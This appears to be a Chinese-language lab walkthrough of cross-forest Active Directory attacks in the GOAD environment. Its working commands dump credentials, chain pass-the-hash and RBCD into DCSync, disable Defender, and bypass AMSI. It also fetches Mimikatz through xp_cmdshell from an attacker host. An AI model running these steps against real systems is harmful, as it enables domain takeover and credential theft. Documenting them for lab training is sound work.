在前一篇文章中,我們完成了 Active Directory 域內攻擊的重要環節,涵蓋了 GPO(群組原則)濫用與 LAPS(本機管理員密碼解決方案)密碼提取技術。完成了域內攻擊後,現在我們將目光轉向更複雜的環境:跨域與跨森林攻擊。
本次演練將學習以下核心技術與概念:
現在我們將攻擊焦點轉向跨森林環境:sevenkingdoms.local ↔ essos.local
森林信任與域信任的差異:
特性 | Domain Trust | Forest Trust |
---|---|---|
預設 SID Filtering | ❌ 不啟用 | ✅ 啟用 |
攻擊難度 | 🟢 簡單 | 🔴 困難 |
Golden Ticket 可行性 | ✅ 直接可用 | ⚠️ 需要 SID History |
常見攻擊路徑 | Golden/Trust Ticket | Foreign Groups, Delegation |
SID Filtering 的作用:
攻擊者嘗試:使用 essos.local 的 krbtgt 建立 Golden Ticket,加入 sevenkingdoms.local 的 Enterprise Admins SID
SID Filtering 啟用時:
sevenkingdoms.local 的 KDC → 檢查 SID → 發現 RID < 1000 → 拒絕
(RID 519 = Enterprise Admins,會被過濾)
SID Filtering 禁用時:
sevenkingdoms.local 的 KDC → 接受所有 SID → 攻擊成功
這是最簡單但最有效的跨森林攻擊方法。
攻擊邏輯:
1. 轉儲 sevenkingdoms.local 的所有 Hash
2. 嘗試在 essos.local 中使用相同的 Hash
3. 發現重複使用密碼的帳號 → 直接 PTH
實際操作:
# 步驟 1:轉儲 sevenkingdoms.local 的 NTDS.dit
impacket-secretsdump sevenkingdoms.local/Administrator@192.168.139.10 \
-hashes ':c66d72021a2d4744409969a581a1705e'
# 步驟 2:儲存 Hash 到檔案
cat > sevenkingdoms_hashes.txt << 'EOF'
Administrator:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e
Guest:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
krbtgt:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb
vagrant:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b
tywin.lannister:aad3b435b51404eeaad3b435b51404ee:af52e9ec3471788111a6308abff2e9b7
jaime.lannister:aad3b435b51404eeaad3b435b51404ee:12e3795b7dedb3bb741f2e2869616080
cersei.lannister:aad3b435b51404eeaad3b435b51404ee:c247f62516b53893c7addcf8c349954b
tyron.lannister:aad3b435b51404eeaad3b435b51404ee:b3b3717f7d51b37fb325f7e7d048e998
robert.baratheon:aad3b435b51404eeaad3b435b51404ee:9029cf007326107eb1c519c84ea60dbe
joffrey.baratheon:aad3b435b51404eeaad3b435b51404ee:3b60abbc25770511334b3829866b08f1
renly.baratheon:aad3b435b51404eeaad3b435b51404ee:1e9ed4fc99088768eed631acfcd49bce
stannis.baratheon:aad3b435b51404eeaad3b435b51404ee:b6be2a49c70f8f47d7b534b2c26dcfce
petyer.baelish:aad3b435b51404eeaad3b435b51404ee:6c439acfa121a821552568b086c8d210
lord.varys:aad3b435b51404eeaad3b435b51404ee:52ff2a79823d81d6a3f4f8261d7acc59
maester.pycelle:aad3b435b51404eeaad3b435b51404ee:9a2a96fa3ba6564e755e8d455c007952
KINGSLANDING$:aad3b435b51404eeaad3b435b51404ee:9ed9670d33c248ff3333dc0ccbff9032
NORTH$:aad3b435b51404eeaad3b435b51404ee:f6ae3f5c041d4bd64242309605f78c5b
ESSOS$:aad3b435b51404eeaad3b435b51404ee:921ab9c08c40d51c38c1fff01a14956e
EOF
# 建立使用者列表檔案
cat sevenkingdoms_hashes.txt | cut -d: -f1 > sevenkingdoms_users.txt
# 建立 NTLM 雜湊列表檔案
cat sevenkingdoms_hashes.txt | cut -d: -f3 > sevenkingdoms_ntlm.txt
# 步驟 3:批次測試 Hash 在不同目標
# 測試 essos.local DC (MEEREEN)
nxc smb 192.168.139.12 -u sevenkingdoms_users.txt -H sevenkingdoms_ntlm.txt --continue-on-success
# 測試 sevenkingdoms.local DC (KINGSLANDING)
nxc smb 192.168.139.10 -u sevenkingdoms_users.txt -H sevenkingdoms_ntlm.txt --continue-on-success
# 測試 north.sevenkingdoms.local DC (WINTERFELL)
nxc smb 192.168.139.11 -u sevenkingdoms_users.txt -H sevenkingdoms_ntlm.txt --continue-on-success
# 測試工作站 (CASTELBLACK)
nxc smb 192.168.139.22 -u sevenkingdoms_users.txt -H sevenkingdoms_ntlm.txt --continue-on-success
# 測試工作站 (BRAAVOS)
nxc smb 192.168.139.23 -u sevenkingdoms_users.txt -H sevenkingdoms_ntlm.txt --continue-on-success
關鍵發現:
目標主機 | 網域 | 成功的憑證 | 權限等級 |
---|---|---|---|
KINGSLANDING (192.168.139.10) | sevenkingdoms.local | Administrator:c66d72021a2d4744409969a581a1705e | Pwn3d! (完全控制) |
KINGSLANDING | sevenkingdoms.local | vagrant:e02bc503339d51f71d913c245d35b50b | Pwn3d! |
KINGSLANDING | sevenkingdoms.local | tywin.lannister:af52e9ec3471788111a6308abff2e9b7 | 一般使用者 |
MEEREEN (192.168.139.12) | essos.local | vagrant:e02bc503339d51f71d913c245d35b50b | Pwn3d! |
WINTERFELL (192.168.139.11) | north.sevenkingdoms.local | vagrant:e02bc503339d51f71d913c245d35b50b | Pwn3d! |
CASTELBLACK (192.168.139.22) | north.sevenkingdoms.local | vagrant:e02bc503339d51f71d913c245d35b50b | 完整存取 |
BRAAVOS (192.168.139.23) | essos.local | vagrant:e02bc503339d51f71d913c245d35b50b | 完整存取 |
步驟 4:進一步滲透 - 取得其他網域的完整 Hash
# 使用 vagrant 帳戶 DCSync 其他兩個網域
# 取得 essos.local 的所有憑證
impacket-secretsdump essos.local/vagrant@192.168.139.12 \
-hashes ':e02bc503339d51f71d913c245d35b50b'
# 取得 north.sevenkingdoms.local 的所有憑證
impacket-secretsdump north.sevenkingdoms.local/vagrant@192.168.139.11 \
-hashes ':e02bc503339d51f71d913c245d35b50b'
攻擊成果總結:
vagrant
帳號是跨網域的「黃金鑰匙」什麼是 Foreign Groups?
Foreign Groups 是指包含來自外部域或森林的使用者/群組的安全群組。
sevenkingdoms.local 的群組 "spys"
↓ 包含成員
essos.local 的使用者 "jorah.mormont"
為什麼需要 Foreign Groups?
在跨森林環境中,為了授權外部森林的使用者存取本地資源,必須:
群組範圍 | 成員來源 | 可分配權限的位置 | 可否包含外部森林成員 |
---|---|---|---|
Universal | 任何域 | 整個森林 | ❌ 否 |
Global | 同一域 | 整個森林 | ❌ 否 |
Domain Local | 任何信任的域/森林 | 僅本地域 | ✅ 是 |
重點:只有 Domain Local 群組可以包含外部森林的成員!
Foreign Groups 是指某個域的安全主體(使用者或群組)被新增到另一個域的群組中,形成跨域的成員關係。這種設定在多域環境中很常見,但也可能成為攻擊者橫向移動的關鍵路徑。
# 查詢跨域的群組成員關係
MATCH p = (a:Domain)-[:Contains*1..]->(x)-->(w)-->(z)<--(y)<-[:Contains*1..]-(b:Domain)
WHERE (x:Container OR x:OU)
AND (y:Container OR y:OU)
AND (a.name <> b.name)
AND (toLower(w.samaccountname) <> "enterprise admins"
AND toLower(w.samaccountname) <> "enterprise key admins"
AND toLower(z.samaccountname) <> "enterprise admins"
AND toLower(z.samaccountname) <> "enterprise key admins")
RETURN p
查詢結果分析:
在 GOAD 環境中發現了 4 條跨域的成員關係,其中包含多個高風險攻擊路徑:
TYRON.LANNISTER@SEVENKINGDOMS.LOCAL (使用者)
↓ MemberOf
DRAGONSFRIENDS@ESSOS.LOCAL (群組)
SMALL COUNCIL@SEVENKINGDOMS.LOCAL (群組,7 名成員)
↓ MemberOf
SPYS@ESSOS.LOCAL (群組)
Small Council 成員清單:
Spys 群組的權限:
風險等級: 高
SCHEMA ADMINS@SEVENKINGDOMS.LOCAL (森林級別的高權限群組)
↓ MemberOf
DENIED RODC PASSWORD REPLICATION GROUP@NORTH.SEVENKINGDOMS.LOCAL
DAENERYS.TARGARYEN@ESSOS.LOCAL (使用者,admincount: TRUE)
↓ MemberOf
ACROSSTHENARROWSEA@SEVENKINGDOMS.LOCAL (群組)
AcrossTheNarrowSea 群組的權限:
風險等級: 最高
關鍵發現:跨域域控制器攻擊路徑
最危險的發現是第 4 條路徑,它提供了從 essos.local 直接控制 sevenkingdoms.local 域控制器的完整攻擊鏈:
步驟 1: 控制 essos.local 域(透過任何方式)
↓
步驟 2: 取得 daenerys.targaryen 的憑證
↓ (她在 essos.local 是管理員)
步驟 3: 利用她在 sevenkingdoms.local\AcrossTheNarrowSea 的成員資格
↓ (該群組對 KINGSLANDING DC 有 GenericAll)
步驟 4: 對域控制器執行 Resource-Based Constrained Delegation (RBCD) 攻擊
↓
結果: 完全控制 sevenkingdoms.local 域
次要攻擊路徑:透過 Small Council 讀取 LAPS
第 2 條路徑提供了從 sevenkingdoms.local 取得 essos.local 工作站存取權的方法:
# 使用 Small Council 的任何成員(例如 robert.baratheon)
# 讀取 BRAAVOS 工作站的 LAPS 本機管理員密碼
netexec ldap 192.168.139.12 -u robert.baratheon -p 'password' \
--kdcHost 192.168.139.12 -M laps
# 使用取得的密碼登入 BRAAVOS
evil-winrm -i 192.168.139.23 -u Administrator -p '<LAPS_password>'
在真實環境中的意義:
Foreign Groups 在企業環境中很常見,特別是在:
然而,這些設定如果沒有被妥善管理,就會成為攻擊者橫向移動的高速公路。特別是當:
攻擊鏈:
控制 sevenkingdoms.local 的 smallcouncil 成員(petyer.baelish)
↓
smallcouncil 是 spys 的成員
↓
spys 對 essos.local 的使用者有修改權限
↓
修改 jorah.mormont 的密碼
實際操作:
# 使用 petyer.baelish(smallcouncil 成員)修改 jorah.mormont 的密碼
rpcclient -U sevenkingdoms.local/petyer.baelish%'@littlefinger@' \
192.168.139.12 \
-c "setuserinfo2 jorah.mormont 23 'P@ssword123'"
或使用 net rpc(推薦):
# 使用 net rpc password 指令
net rpc password jorah.mormont \
-U sevenkingdoms.local/petyer.baelish%@littlefinger@ \
-S meereen.essos.local
# 系統會提示輸入新密碼
Enter new password for jorah.mormont: P@ssword123
驗證密碼修改:
# 測試新密碼
nxc smb 192.168.139.12 \
-u jorah.mormont \
-p 'P@ssword123' \
-d essos.local
輸出:
SMB 192.168.139.12 445 MEEREEN [+] essos.local\jorah.mormont:P@ssword123
Shadow Credentials 是一種利用 Windows Hello for Business (WHfB) 機制的攻擊技術,透過修改目標帳號的 msDS-KeyCredentialLink
屬性來新增一個新的憑證,然後使用該憑證透過 PKINIT 進行 Kerberos 認證。
# 步驟 1:新增 Shadow Credentials
certipy shadow add \
-u petyer.baelish@sevenkingdoms.local \
-p '@littlefinger@' \
-dc-ip 192.168.139.12 \
-target meereen.essos.local \
-account 'jorah.mormont'
輸出:
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Targeting user 'jorah.mormont'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID 'abc8339730764ab2a51cd28ceb023a04'
[*] Adding Key Credential with device ID 'abc8339730764ab2a51cd28ceb023a04' to the Key Credentials for 'jorah.mormont'
[*] Successfully added Key Credential with device ID 'abc8339730764ab2a51cd28ceb023a04' to the Key Credentials for 'jorah.mormont'
[*] Saving certificate and private key to 'jorah.mormont.pfx'
[*] Saved certificate and private key to 'jorah.mormont.pfx'
憑證新增成功!接下來嘗試使用該憑證進行認證:
# 步驟 2:使用憑證認證
certipy auth \
-pfx jorah.mormont.pfx \
-username jorah.mormont \
-domain essos.local \
-dc-ip 192.168.139.12
實際結果 - 認證失敗:
[*] Using principal: jorah.mormont@essos.local
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
失敗原因分析:
KDC_ERR_PADATA_TYPE_NOSUPP
錯誤表示域控制器不支援 PKINIT(Public Key Cryptography for Initial Authentication)。這種情況在以下場景中很常見:
在滲透測試中的教訓:
Shadow Credentials 是一種非常優雅且隱蔽的攻擊技術,因為:
但它也有環境限制:
理論攻擊鏈:
daenerys.targaryen@essos.local (admincount: TRUE)
↓ MemberOf
AcrossTheNarrowSea@sevenkingdoms.local (Foreign Group)
↓ GenericAll
KINGSLANDING$ (sevenkingdoms.local 域控制器)
根據 BloodHound 分析,daenerys.targaryen 透過 AcrossTheNarrowSea 群組對 sevenkingdoms.local 的域控制器機器帳號擁有 GenericAll 權限。這理論上允許從 essos.local 直接控制 sevenkingdoms.local 的 DC。
跨域認證的實際挑戰:
在嘗試跨域利用 Foreign Group 權限時遇到了技術限制:
# 嘗試 1:使用 essos.local 的憑證直接操作 - 失敗
rbcd.py -delegate-from 'ATTACKER$' \
-delegate-to 'KINGSLANDING$' \
-dc-ip 192.168.139.10 \
sevenkingdoms.local/daenerys.targaryen:BurnThemAll!
# 錯誤:invalidCredentials (跨域 LDAP 認證不支援)
# 嘗試 2:使用 Kerberos 票證 - 失敗
getTGT.py essos.local/daenerys.targaryen:'BurnThemAll!' -dc-ip 192.168.139.12
export KRB5CCNAME=daenerys.targaryen.ccache
rbcd.py -k -no-pass sevenkingdoms.local/daenerys.targaryen ...
# 錯誤:KDC_ERR_C_PRINCIPAL_UNKNOWN
原因分析:
實戰解決方案 - 使用已控制的域內帳號:
既然已經透過場景 1 控制了 sevenkingdoms.local 的帳號,直接使用它們:
步驟 1:建立受控的機器帳號
addcomputer.py -computer-name 'ATTACKER$' \
-computer-pass 'AttackerPass123!' \
-dc-ip 192.168.139.10 \
sevenkingdoms.local/petyer.baelish:'@littlefinger@'
輸出:
[*] Successfully added machine account ATTACKER$ with password AttackerPass123!.
步驟 2:設定 Resource-Based Constrained Delegation (RBCD)
使用 Administrator 的 hash(從之前的 DCSync 取得)設定 RBCD:
rbcd.py -delegate-from 'ATTACKER$' \
-delegate-to 'KINGSLANDING$' \
-dc-ip 192.168.139.10 \
-action write \
sevenkingdoms.local/Administrator -hashes :c66d72021a2d4744409969a581a1705e
輸出:
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] ATTACKER$ can now impersonate users on KINGSLANDING$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ATTACKER$ (S-1-5-21-3099511005-1426058213-160971164-1125)
這個操作修改了 KINGSLANDING$ 機器帳號的 msDS-AllowedToActOnBehalfOfOtherIdentity
屬性,允許 ATTACKER$ 代表任何使用者向 KINGSLANDING$ 請求服務。
步驟 3:利用 RBCD 模擬 Administrator
# 請求服務票證,模擬 Administrator
getST.py -spn cifs/kingslanding.sevenkingdoms.local \
sevenkingdoms.local/ATTACKER$:'AttackerPass123!' \
-impersonate Administrator \
-dc-ip 192.168.139.10
輸出:
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
這個過程包含兩個 Kerberos 擴充協定:
步驟 4:使用票證存取域控制器
# 設定 Kerberos 票證
export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
# 驗證存取權限 - 列出共享資料夾
smbclient.py -k -no-pass kingslanding.sevenkingdoms.local
輸出:
# shares
ADMIN$
C$
CertEnroll
IPC$
NETLOGON
SYSVOL
成功存取所有管理共享!
步驟 5:執行 DCSync 取得 krbtgt
secretsdump.py -k -no-pass \
kingslanding.sevenkingdoms.local \
-just-dc-user SEVENKINGDOMS/krbtgt
輸出:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3bd92e98b99b5f66fc4d771a18e003bb:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:5eefe50bb3dbd7127f669e5a04e593dcc04938eef1f9f02fea731bdd0fd87e46
krbtgt:aes128-cts-hmac-sha1-96:b74176aa1ca42d0987a523c957345123
krbtgt:des-cbc-md5:cdd3e301b368da3e
成功取得 krbtgt 帳號的所有金鑰-->可以建立 Golden Ticket 取得永久的域管理員權限。
攻擊成果總結:
透過 RBCD 攻擊,成功:
1. kingslanding.sevenkingdoms.local 設定為無約束委派(DC 預設)
2. 強制 essos.local 的 DC (meereen) 向 kingslanding 認證
3. kingslanding 的 LSASS 記憶體中會儲存 meereen 的 TGT
4. 在 kingslanding 上使用 Rubeus 提取 TGT
5. 使用 TGT 執行 DCSync 攻擊 essos.local
步驟 1:RDP 連接到 KINGSLANDING
# 使用 cersei.lannister(本地管理員)
xfreerdp3 /d:sevenkingdoms.local \
/u:cersei.lannister \
/p:'il0vejaime' \
/v:192.168.139.10 \
/size:80% \
/cert:ignore
步驟 2:繞過防毒(在 KINGSLANDING 上)
# 方法 1:停用 Windows Defender(如果有權限)
Set-MpPreference -DisableRealtimeMonitoring $true
# 方法 2:排除特定路徑
Add-MpPreference -ExclusionPath "C:\Tools"
# 方法 3:使用 AMSI Bypass(參考 Day 17)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
步驟 3:啟動 Rubeus 監聽 TGT
mkdir C:\Tool\
# 下載 Rubeus 到 C:\Tool\
# 從 Kali: python3 -m http.server 8080
# 在 KINGSLANDING PowerShell 中下載
Invoke-WebRequest -Uri http://192.168.139.136:8080/Rubeus.exe -OutFile C:\Tool\Rubeus.exe
# 監聽 MEEREEN$ 的 TGT
C:\Tool\Rubeus.exe monitor /filteruser:MEEREEN$ /interval:1
步驟 4:在 Kali 上執行 Coercer(強制認證)
打開新的終端:
# 強制 MEEREEN 認證到 KINGSLANDING
~/.venvs/impacket/bin/coercer coerce \
-u arya.stark \
-p Needle \
-d north.sevenkingdoms.local \
-t meereen.essos.local \
-l kingslanding.sevenkingdoms.local
Coercer 輸出:
______
/ ____/___ ___ _____________ _____
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
/ /___/ /_/ / __/ / / /__/ __/ / v2.4.3
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
[*] Parsing targets
[*] Running in target mode with 1 targets
[+] meereen.essos.local: Successful exploitation of MS-EFSR via EfsRpcAddUsersToFile!
步驟 5:在 KINGSLANDING 上查看 Rubeus 取得
回傳 RDP session,Rubeus 應該顯示:
[*] 10/5/2025 4:52:43 PM UTC - Found new TGT:
User : MEEREEN$@ESSOS.LOCAL
StartTime : 10/5/2025 8:08:20 AM
EndTime : 10/5/2025 6:07:35 PM
RenewTill : 10/12/2025 8:07:35 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
....
步驟 6:提取並轉換票證(在 Kali)
# 建立工作目錄
mkdir -p ~/goad/forest_trust/unconstrained
cd ~/goad/forest_trust/unconstrained
# 複製 Rubeus 輸出的 Base64 字串(移除所有空白和換行)
cat > meereen_rubeus.b64 << 'EOF'
doIFJDCCBSCgAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoQ0bC0VTU09TLkxPQ0FMoiAwHqADAgECoRcwFRsGa3JidGd0
GwtFU1NPUy5MT0NBTKOCA+YwggPioAMCARKhAwIBAqKCA9QEggPQ/qmaFXotixtkquily7k5Ac5g2YgLBiJQRn3zV1u11qV6lsma
JiLDIP95lnsOTqyaYDG47+fwcDLkiKYecMFZvpuKqWKxixtkZrG2S+4oipfMMBalC0oWpqbH17CJ1TlSFRKDJZDvxWp6USzGaQnT
oDi8FqhhXwiVgNWVs0Nxl2HRSKs/KbUlUNqUOZ/LxB/bGoLVElJt+ICy53Xhu1WrSsPnYKB9TNl9noRP3xDwhRxNYB0eN0Xt4Z0L
1yxWuYfXQiqc7BfA75k1/0ujPSPDAziah3b6Z66MHRHcyanTZtUzHBRw+mlxLorrJAMer+CVNlj0U294KpEIRuLMbbgSip4tZCqD
lOiS4Gp049tZFheDKfzzKLFFrL4MmO3kBcQiuBM8Up6khwbfuaOs1l2uPIDoJ/8RBIwF/1bPjZp70e0gFxahPFAKfHkccRIipRIW
lTp7r7ekugT+/by5zk1eychQKWitJNAGxOvyPpCyrXTR7EWMwl5tthRZEEoy3WJFxJw9MbZw5/9K8aHhvZrVa0P5CGutD+I5p/5d
2P6SfKjmQRh6dtORQNkN6A35s3uydYgrv0kdFjf+fdciUzlvnuk/Hh+kK/xhCv9gmIPWcMPLHiSvxIrx8VquhVxXtPTwzqIFJUac
WUbRhHzi7ePknY19koIcfo3RNp/wdkisGXsSKpXO+m9X5ohP6L7tq50f5u7Fnv9pj5HSAS1+UVwncazuoZ/FtrjZsJghLrmaWh6k
7lBo2vsFqpq26nYXR6dkMWa1Y93d1ffMFUT2zYHexas06Z3cQYUdeuM2Ik5s9LoBVV5meIfMKTqvUB6tFirsN1fpOjKhqQNcN/JC
/kgZy/Ny4SesWwifE/5/hWszSo/JV/6eY1jofqpfWf65Pb6+crkQNLXjS/gwruPlQOUsWo8Toc2+f4hGX37FepK28T49moXANm6i
tlccg1B69Ybymam6yysQBx3X3K+pMeKLt6VHO1CDsw+0w4Ff1ezabpO+h0qmj2mHmTTpspatBb+ZcKi5ML5CWHLzZDmECIVP4tH1
krIOUEVMv1BSzCb1y3dY0gm+UDuob4i5zrRQGzN3qcy9UrxpPxhp5ommNXydYfNwbnrOX3McUXmr+0wNIvcbWclxnY7Md0IWp4tt
a8TfgawyiAmAzcNCtQYFITrxP1fnSNSY8S6JL0WbVeCfE5LCLzzwbVvmARClXfj6MEBmIoXuU6ahLBgaYtqQrwI9ojz98yHQTR8s
bT3tdJfTV+nRidr/BXzIqHl5t/aG+CIDlV92s0SedQlIRAXzcp+/w6OB4zCB4KADAgEAooHYBIHVfYHSMIHPoIHMMIHJMIHGoCsw
KaADAgESoSIEIBkwbMBECAVHN8AIV6hq7Vz3yoikMD9HS/CPpVt+hY5QoQ0bC0VTU09TLkxPQ0FMohUwE6ADAgEBoQwwChsITUVF
UkVFTiSjBwMFAGChAAClERgPMjAyNTEwMDUxNTA4MjBaphEYDzIwMjUxMDA2MDEwNzM1WqcRGA8yMDI1MTAxMjE1MDczNVqoDRsL
RVNTT1MuTE9DQUypIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC0VTU09TLkxPQ0FM
EOF
# 轉換格式
cat meereen_rubeus.b64 | base64 -d > meereen.kirbi
impacket-ticketConverter meereen.kirbi meereen.ccache
# 設定票證
export KRB5CCNAME=meereen.ccache
# 驗證
klist
klist 輸出:
Ticket cache: FILE:meereen.ccache
Default principal: MEEREEN$@ESSOS.LOCAL
Valid starting Expires Service principal
10/05/2025 08:08:20 10/05/2025 18:07:35 krbtgt/ESSOS.LOCAL@ESSOS.LOCAL
renew until 10/12/2025 08:07:35
步驟 7:使用票證執行 DCSync
# 執行 DCSync 攻擊 essos.local
impacket-secretsdump -k -no-pass -just-dc-ntlm \
essos.local/'MEEREEN$'@meereen.essos.local
輸出:
...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a5df275f8f1573d10758b4de3ab8e53b:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...
成功!我們完全控制了外部森林 essos.local!
在某些企業環境中,SQL Server 會設定跨森林的 Database Link(資料庫連結)以實現跨森林的資料存取。
sevenkingdoms.local 的 SQL Server (castelblack)
↓ Database Link
essos.local 的 SQL Server (braavos)
如果 Database Link 使用高權限帳號(如 sa
),攻擊者可以透過 SQL 注入或直接連接 SQL Server 來執行跨森林的命令。
步驟 1:連接到 CASTELBLACK 的 SQL Server
# 使用 jon.snow(SQL Server 使用者)連接
impacket-mssqlclient -windows-auth \
north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local
成功連接後:
[*] INFO(CASTELBLACK\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(CASTELBLACK\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (NORTH\jon.snow dbo@master)>
步驟 2:枚舉 Database Links
-- 列出所有 Database Links
EXEC sp_linkedservers;
輸出:
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
---------------------- ---------------- ----------- ---------------------- ------------------ ------------ -------
BRAAVOS SQLNCLI braavos.essos.local NULL NULL NULL
CASTELBLACK\SQLEXPRESS SQLNCLI SQL Server CASTELBLACK\SQLEXPRESS NULL NULL NULL
或使用 Impacket 的內建指令:
SQL> enum_links
輸出:
SQL (NORTH\jon.snow dbo@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
---------------------- ---------------- ----------- ---------------------- ------------------ ------------ -------
BRAAVOS SQLNCLI braavos.essos.local NULL NULL NULL
CASTELBLACK\SQLEXPRESS SQLNCLI SQL Server CASTELBLACK\SQLEXPRESS NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
---------------------- -------------- --------------- ------------
BRAAVOS NULL 1 NULL
BRAAVOS NORTH\jon.snow 0 sa
CASTELBLACK\SQLEXPRESS NULL 1 NULL
步驟 3:透過 Database Link 執行命令
-- 測試連接
SELECT * FROM OPENQUERY("BRAAVOS", 'SELECT @@version');
-- 查看 Link 使用的登入帳號
SELECT * FROM OPENQUERY("BRAAVOS", 'SELECT SYSTEM_USER');
如果回傳 sa
或其他高權限帳號 → 可以啟用 xp_cmdshell
!
步驟 1:啟用進階選項
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT BRAAVOS;
說明:
sp_configure
是 SQL Server 的系統預存程序,用來查看或修改伺服器設定show advanced options
控制是否顯示進階設定選項RECONFIGURE
讓變更立即生效AT BRAAVOS
表示透過連結伺服器在 BRAAVOS 上執行回傳訊息:
Configuration option 'show advanced options' changed from 1 to 1.
步驟 2:啟用 xp_cmdshell
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT BRAAVOS;
說明:
xp_cmdshell
功能xp_cmdshell
是 SQL Server 的擴充預存程序,允許執行作業系統命令回傳訊息:
Configuration option 'xp_cmdshell' changed from 1 to 1.
步驟 3:執行系統命令
EXEC ('xp_cmdshell ''whoami''') AT BRAAVOS;
說明:
whoami
whoami
會顯示目前執行命令的使用者身分回傳結果:
output
-------------
essos\sql_svc
NULL
essos\sql_svc
這個網域帳號身分執行NULL
是命令輸出的結尾標記(因為 xp_cmdshell 會將每一行輸出當作一筆記錄回傳)或使用 Impacket 的簡化指令:
SQL> use_link BRAAVOS
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
輸出:
essos\braavos$
現在可以執行任意命令:
SQL> xp_cmdshell powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://<KALI_IP>:8080/Invoke-Mimikatz.ps1')"
進階:鏈式 Database Links
如果有多層 Database Links,可以遞迴執行:
-- CASTELBLACK → BRAAVOS → 其他伺服器
SELECT * FROM OPENQUERY("BRAAVOS", 'SELECT * FROM OPENQUERY("OTHER_SERVER", ''SELECT @@version'')');
這是跨森林攻擊中最強大的技術,可以從一個森林直接跳到另一個森林並取得域管理員權限。但這種攻擊只有在特定的信任設定下才能成功。
重要觀念:森林信任的安全設定在兩個方向上可能不同。必須從攻擊起點查詢才能確認該方向是否可行。
從 sevenkingdoms.local 查詢:
ldeep ldap -u tywin.lannister -p 'powerkingftw135' \
-d sevenkingdoms.local \
-s ldap://192.168.139.10 \
trusts
輸出結果:
dn: CN=essos.local,CN=System,DC=sevenkingdoms,DC=local
trustAttributes: FOREST_TRANSITIVE | TREAT_AS_EXTERNAL
dn: CN=north.sevenkingdoms.local,CN=System,DC=sevenkingdoms,DC=local
trustAttributes: WITHIN_FOREST
從 essos.local 查詢:
ldeep ldap -u daenerys.targaryen -p 'BurnThemAll!' \
-d essos.local \
-s ldap://192.168.139.12 \
trusts
輸出結果:
dn: CN=sevenkingdoms.local,CN=System,DC=essos,DC=local
trustAttributes: FOREST_TRANSITIVE
關鍵發現:信任屬性的方向性差異
攻擊方向 | 信任屬性 | SID Filtering | 可行性 |
---|---|---|---|
sevenkingdoms → essos | FOREST_TRANSITIVE | TREAT_AS_EXTERNAL | ✅ 啟用(嚴格) | ❌ 無法攻擊 |
essos → sevenkingdoms | FOREST_TRANSITIVE | ⚠️ 較寬鬆 | ✅ 可以嘗試 |
結論:從 essos.local 攻擊 sevenkingdoms.local 這個方向沒有明確的 SID Filtering 標記,值得嘗試!
攻擊流程:
步驟 1: 取得 essos.local 的 krbtgt hash(透過 DCSync)
↓
步驟 2: 使用 ticketer 建立 Golden Ticket
↓
步驟 3: 在 ExtraSid 欄位加入 sevenkingdoms.local 的高權限群組 SID
↓
步驟 4: 因為 essos → sevenkingdoms 方向沒有 TREAT_AS_EXTERNAL
sevenkingdoms.local 可能會接受該 ExtraSid
↓
步驟 5: 取得 sevenkingdoms.local 的 DCSync 權限
RID Filtering 限制(永遠有效):
即使 SID Filtering 被完全關閉,Microsoft 仍實施了硬編碼的 RID Filtering:
被過濾的內建群組(RID < 1000):
- 500 (Administrator)
- 512 (Domain Admins)
- 518 (Schema Admins)
- 519 (Enterprise Admins)
可以使用的 SID(RID >= 1000):
- 1108 (Small Council)
- 1111 (DragonRider)
- 1112 (AcrossTheNarrowSea)
策略:在 BloodHound 中尋找 RID >= 1000 且擁有高權限的自訂群組。
步驟 1:取得域 SID
# 取得 essos.local 的 SID
lookupsid.py -domain-sids \
essos.local/daenerys.targaryen:'BurnThemAll!'@192.168.139.12 0
輸出:
